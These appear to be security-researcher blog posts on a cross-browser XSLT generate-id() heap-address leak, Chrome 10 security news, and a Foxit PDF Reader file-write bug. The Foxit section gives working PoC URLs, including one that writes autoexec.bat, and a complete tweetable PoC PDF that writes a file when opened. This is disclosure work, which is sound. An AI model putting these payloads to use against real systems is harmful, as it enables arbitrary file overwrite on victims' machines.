Multi-browser heap address leak in XSLT

It's not often that I find a bug that affects multiple different codebases in the same way, but here is an interesting info-leak bug that is currently unpatched in Firefox, Internet Explorer and Safari.

I'm releasing it now for a few reasons:

1. The bug was already publicly noted here.


2. This bug cannot damage anyone in and of itself; it's a low severity info-leak that does not corrupt anything. It needs to be paired with other bugs, perhaps as an exploit aid against ASLR.


3. This is a rare and unique opportunity to directly compare vendor responses and response times for a near-identical bug. It's nice that this is a lower-severity issue as all vendors tend to treat critical issues with at least some urgency; lower severity issues serve as a better differentiator.

The bug
The bug is in the generate-id() XPath function, and is sometimes used in XSL transforms. Here's an web page that simply calls generate-id() and renders the result as a web page:

https://cevans-app.appspot.com/static/genid.xml

Let's see how this renders in different browsers:

Firefox (64-bit Linux)
id0x00007fbac51c1000

There is no "obfuscation" that this is a raw heap address. Since Firefox is open source, we can go and look at the source code to find that indeed, the string is generated from a pointer (txXPathNodeUtils::getXSLTId):

const char gPrintfFmt[] = "id0x%016p";

Internet Explorer 8 (Windows 7)
IDAW0MLB

Doesn't look like a heap address, does it? If, however, you strip off the "ID" prefix and treat the string as a [A-Z0-5] base32 encoded "little endian" string, you resolve to a nice heap address. At that address is a pointer in msxml.dll, possibly the address of a vtable for some internal xml node class.

Safari 5 (Mac OS X)
id35865226

Also does not immediately look like a heap address, but libxslt is doing a simple transform on a heap address:

    val = (unsigned long)((char *)cur - (char *)0);
    val /= sizeof(xmlNode);
    sprintf((char *)str, "id%ld", val);

Opera
o14022440
o2148150600
These object ids bounce around all over the place. I don't know what is going on so I'm not making the claim that Opera is affected.

Chrome
Latest stable Chrome (Chrome 10) is not affected. It has been removed from the "time to fix" competition in order to keep things fair.


It's on!! Who will fix it first and who will be the security laggard? Updates to be provided via Twitter: @scarybeasts

Busy Chrome day...

I did a bunch of fairly interesting things with my corporate hat on today (not to be confused with any of my personal research ;-)

Firstly, Chrome 10 went out with a record $16k+ series of rewards. It's continually humbling to see such a wide range of researchers and a wide range of bug categories!

http://googlechromereleases.blogspot.com/2011/03/chrome-stable-release.html

Also, there are some nice new security pieces in Chrome 10. I blogged about some of these:

http://blog.chromium.org/2011/03/mini-newsletter-from-your-google-chrome.html

My personal favourite is "plug-in blocking enhancements", probably because I implemented it and am therefore biased :-) In reality, the change that's going to really help end user security is "out-of-date plug-in warnings". Users are encouraged to update to the latest security patches for their plug-ins. I personally believe this will be particularly helpful for Java, which is widely installed but users are not always the most uptodate.

And then I spoke at SANS AppSec with Adam Mein about Google's two vulnerability reward programs (Chromium and Web). This seemed to be very well received, as evidenced by the stack of insightful questions. We released a few new stats and charts, so it's probably worth me linking to the slides:

https://docs.google.com/present/edit?id=0Ae_usSLlqH60ZGZnYjI0NTVfMjBobngybWRoaA&hl=en

All in all a fun day!

Dangerous file write bug in Foxit PDF Reader

This is fixed in the recently released Foxit PDF Reader v4.3.1.0218. That release is marked as an important security update, although this file bug is not mentioned.

Recently, I've been playing around with the various JavaScript APIs available in various different PDF readers. In case you wanted to do the same, I made some little tools, including a simple one to execute PDF-based JS via an URL:

https://cevans-app.appspot.com/static/pdfjs.html?js=app.alert('hi')

The serious bug I found in Foxit PDF Reader permits arbitrary files to be written with arbitrary content, like this:

https://cevans-app.appspot.com/static/pdfjs.html?js=createDataObject('c:/autoexec.bat','echo hi mom')

Files can be overwritten as well as created.

I did some hackery on the generated PDF and managed to squeeze a full valid PDF, including simple JS payload, into 136 characters. This means I can tweet the full PoC PDF, which I will do shortly :) Here it is for completeness:

%PDF 1 0 obj<</Pages 1 0 R /OpenAction 2 0 R>> 2 0 obj<</S /JavaScript /JS (createDataObject\('c:/pwn','pwn'\))>> trailer<</Root 1 0 R>>